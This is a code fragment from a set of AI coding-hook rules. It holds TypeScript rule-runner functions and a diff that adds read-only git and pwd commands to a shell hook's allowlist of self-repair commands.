error = toError(err);\n if (error instanceof RuleFailError) {\n return [violationFromRuleFail(error)];\n }\n return [new Violation(0, '', `Rule '${rule.name}' crashed: ${error.message}`)];\n }\n}\n\n// A thrown RuleFailError carries its own AI-facing message + optional location and fix hints. Fold the\n// fix hints into the message because Violation has no fixHint field (RuleGroup's fixHint comes from the\n// rule definition, not a per-throw value).\nfunction violationFromRuleFail(error: RuleFailError): Violation {\n const hints = error.fixHints.length > 0 ? `\\n Fix: ${error.fixHints.join('\\n Fix: ')}` : '';\n return new Violation(error.line ?? 0, error.snippet ?? '', error.aiMessage + hints);\n}\n\nfunction ruleMatchesFile(rule: Rule, relativePath: string): boolean {\n for (const pattern of rule.files) {\n if (globMatches(pattern, relativePath)) return true;\n }\n return false;\n}\n\nfunction runBashRules(rules: readonly Rule[], bashContext: BashContext): readonly RuleGroup[] {\n const groups: RuleGroup[] = [];\n for (const rule of rules) {\n if (rule.scope !== 'bash') continue;\n if (!rule.shouldRun()) continue;\n const vs = runRuleCheck(rule, bashContext);\n if (vs.length > 0) {\n groups.push(new RuleGroup(\n rule.name, rule.description, rule.fixHint, [...vs],\n ));\n }\n }\n return groups;\n}\n\nfunction runEditRules(rules: readonly Rule[], editContexts: readonly EditContext[]): readonly RuleGroup[] {\n const groups: RuleGroup[] = [];\n for (const rule of rules) {\n if (rule.scope !== 'edit') continue;\n if (!rule.shouldRun()) continue;\n const allViolations: Violation[] = [];\n for (const ctx of editContexts) {\n if (!ruleMatchesFile(rule, ctx.relativePath)) continue;\n const vs = runRuleCheck(rule, ctx);\n for (const v of vs) {\n const copy = new Violation(v.line, v.snippet, v.message);\n copy.editIndex = ctx.editIndex;\n copy.editCount = ctx.editCount;\n allViolations.push(copy);\n }\n }\n if (allViolations.length > 0) {\n groups.push(new RuleGroup(\n rule.name, rule.description, rule.fixHint, allViolations,\n ));\n }\n }\n return groups;\n}\n\nfunction runFileRules(rules: readonly Rule[], fileContext: FileContext): readonly RuleGroup[] {\n const groups: RuleGroup[] = [];\n for (const rule of rules) {\n if (rule.scope !== 'file') continue;\n if (!rule.shouldRun()) continue;\n if (!ruleMatchesFile(rule, fileContext.relativePath)) continue;\n const vs = runRuleCheck(rule, fileContext);\n if (vs.length > 0) {\n groups.push(new RuleGroup(\n rule.name, rule.description, rule.fixHint, [...vs],\n ));\n }\n }\n return groups;\n}\n"]}
@@ -134,7 +134,7 @@ case "$FILE" in
134
134
  wp_log ALLOW-CONFIG # the always-allowed recovery target — every guard is configured from it
135
135
  exit 0 ;;
136
136
  esac
137
- if printf '%s' "$CMD" | grep -Eq '^(cd[[:space:]]+([A-Za-z0-9._/@~+-]+|'\''[^'\'']+'\'')[[:space:]]*&&[[:space:]]*)?((pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*|rm[[:space:]]+-rf[[:space:]]+(\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?|git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*|(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim|cp[[:space:]]+(\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\.sh[[:space:]]+(\./)?\.claude/webpieces/ai-hook\.sh|(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$'; then
137
+ if printf '%s' "$CMD" | grep -Eq '^(cd[[:space:]]+([A-Za-z0-9._/@~+-]+|'\''[^'\'']+'\'')[[:space:]]*&&[[:space:]]*)?((pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*|rm[[:space:]]+-rf[[:space:]]+(\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?|git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*|(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim|cp[[:space:]]+(\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\.sh[[:space:]]+(\./)?\.claude/webpieces/ai-hook\.sh|(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*|(pwd|git[[:space:]]+(status|log|diff|show|branch|rev-parse)|git[[:space:]]+worktree[[:space:]]+list)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*)([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$'; then
138
138
  wp_log ALLOW-CURE # record the self-heal we let through (re-enables the guards)
139
139
  exit 0 # allow the cure so the assistant can break the deadlock
140
140
  fi